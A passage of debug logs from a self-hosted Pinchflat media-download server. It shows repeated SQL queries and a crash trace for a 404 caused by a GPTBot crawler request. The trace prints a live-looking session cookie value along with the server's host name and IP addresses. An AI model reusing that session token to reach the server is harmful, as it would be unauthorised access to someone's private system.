AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 15:42:10.419 [debug] QUERY OK source="media_items" db=1.0ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:42:10.420 [info] Sent 200 in 9ms 15:42:10.932 [info] GET /sources/2/ 15:42:10.932 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 15:42:10.932 [debug] QUERY OK source="sources" db=0.1ms idle=515.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:10.932 [debug] QUERY OK source="media_profiles" db=0.0ms idle=515.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:10.933 [debug] QUERY OK source="tasks" db=0.0ms idle=514.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 15:42:10.933 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=513.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [693, 373] 15:42:10.933 [debug] QUERY OK source="settings" db=0.0ms idle=160.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:10.933 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:10.933 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:10.934 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:10.934 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:42:10.935 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:42:10.935 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:10.935 [debug] QUERY OK source="media_items" db=0.0ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 15:42:10.935 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:42:10.935 [debug] QUERY OK source="sources" db=0.0ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:10.936 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 15:42:10.936 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:42:10.936 [info] Sent 200 in 4ms 15:42:11.462 [info] GET /sources/3/media/12825/edit 15:42:11.463 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12825", "source_id" => "3"} Pipelines: [:browser] 15:42:11.463 [debug] QUERY OK source="media_items" db=0.1ms idle=527.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12825] 15:42:11.463 [debug] QUERY OK source="settings" db=0.0ms idle=528.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:11.463 [debug] QUERY OK source="settings" db=0.0ms idle=527.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:11.464 [debug] QUERY OK source="settings" db=0.0ms idle=527.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:11.464 [info] Sent 200 in 1ms 15:42:11.966 [info] GET /sources/1/media/12826/edit 15:42:11.966 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12826", "source_id" => "1"} Pipelines: [:browser] 15:42:11.966 [debug] QUERY OK source="media_items" db=0.2ms idle=503.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12826] 15:42:11.966 [debug] QUERY OK source="settings" db=0.0ms idle=503.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:11.967 [debug] QUERY OK source="settings" db=0.0ms idle=503.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:11.967 [debug] QUERY OK source="settings" db=0.0ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:11.968 [info] Sent 200 in 1ms 15:42:12.498 [info] GET /sources/3/media/12825/force_download 15:42:12.498 [debug] QUERY OK source="settings" db=0.1ms idle=724.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:12.498 [debug] QUERY OK source="settings" db=0.0ms idle=532.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:12.499 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:42:12.499 [error] #PID<0.10354.0> running PinchflatWeb.Endpoint (connection #PID<0.10353.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/media/12825/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12825/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10353.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12825/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53852}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/12825", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10354.0>, params: %{}, path_info: ["sources", "3", "media", "12825", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3/media/12825"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/media/12825/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVEIDhp17DAmqkAA6yB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10353.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12825/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53852}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/12825", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/12825/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10353.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/12825/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53852}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnI2UjZjckdKQzZPeW9ZLUtwVm9ySE5V.hB4ZKgIx4Lx_usNUmxgkHwYUJWgADhFTsoHiQp1jFDA", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3/media/12825", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_bod (truncated) 15:42:13.013 [info] GET /sources/2/media/6111/edit 15:42:13.013 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6111", "source_id" => "2"} Pipelines: [:browser] 15:42:13.013 [debug] QUERY OK source="media_items" db=0.1ms idle=1046.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6111] 15:42:13.013 [debug] QUERY OK source="settings" db=0.0ms idle=1046.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:13.013 [debug] QUERY OK source="settings" db=0.0ms idle=515.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:13.014 [debug] QUERY OK source="settings" db=0.0ms idle=515.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:13.014 [info] Sent 200 in 1ms 15:42:14.534 [info] GET /sources/2/media/6126/edit 15:42:14.534 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6126", "source_id" => "2"} Pipelines: [:browser] 15:42:14.535 [debug] QUERY OK source="media_items" db=0.1ms idle=1521.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6126] 15:42:14.535 [debug] QUERY OK source="settings" db=0.0ms idle=1521.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 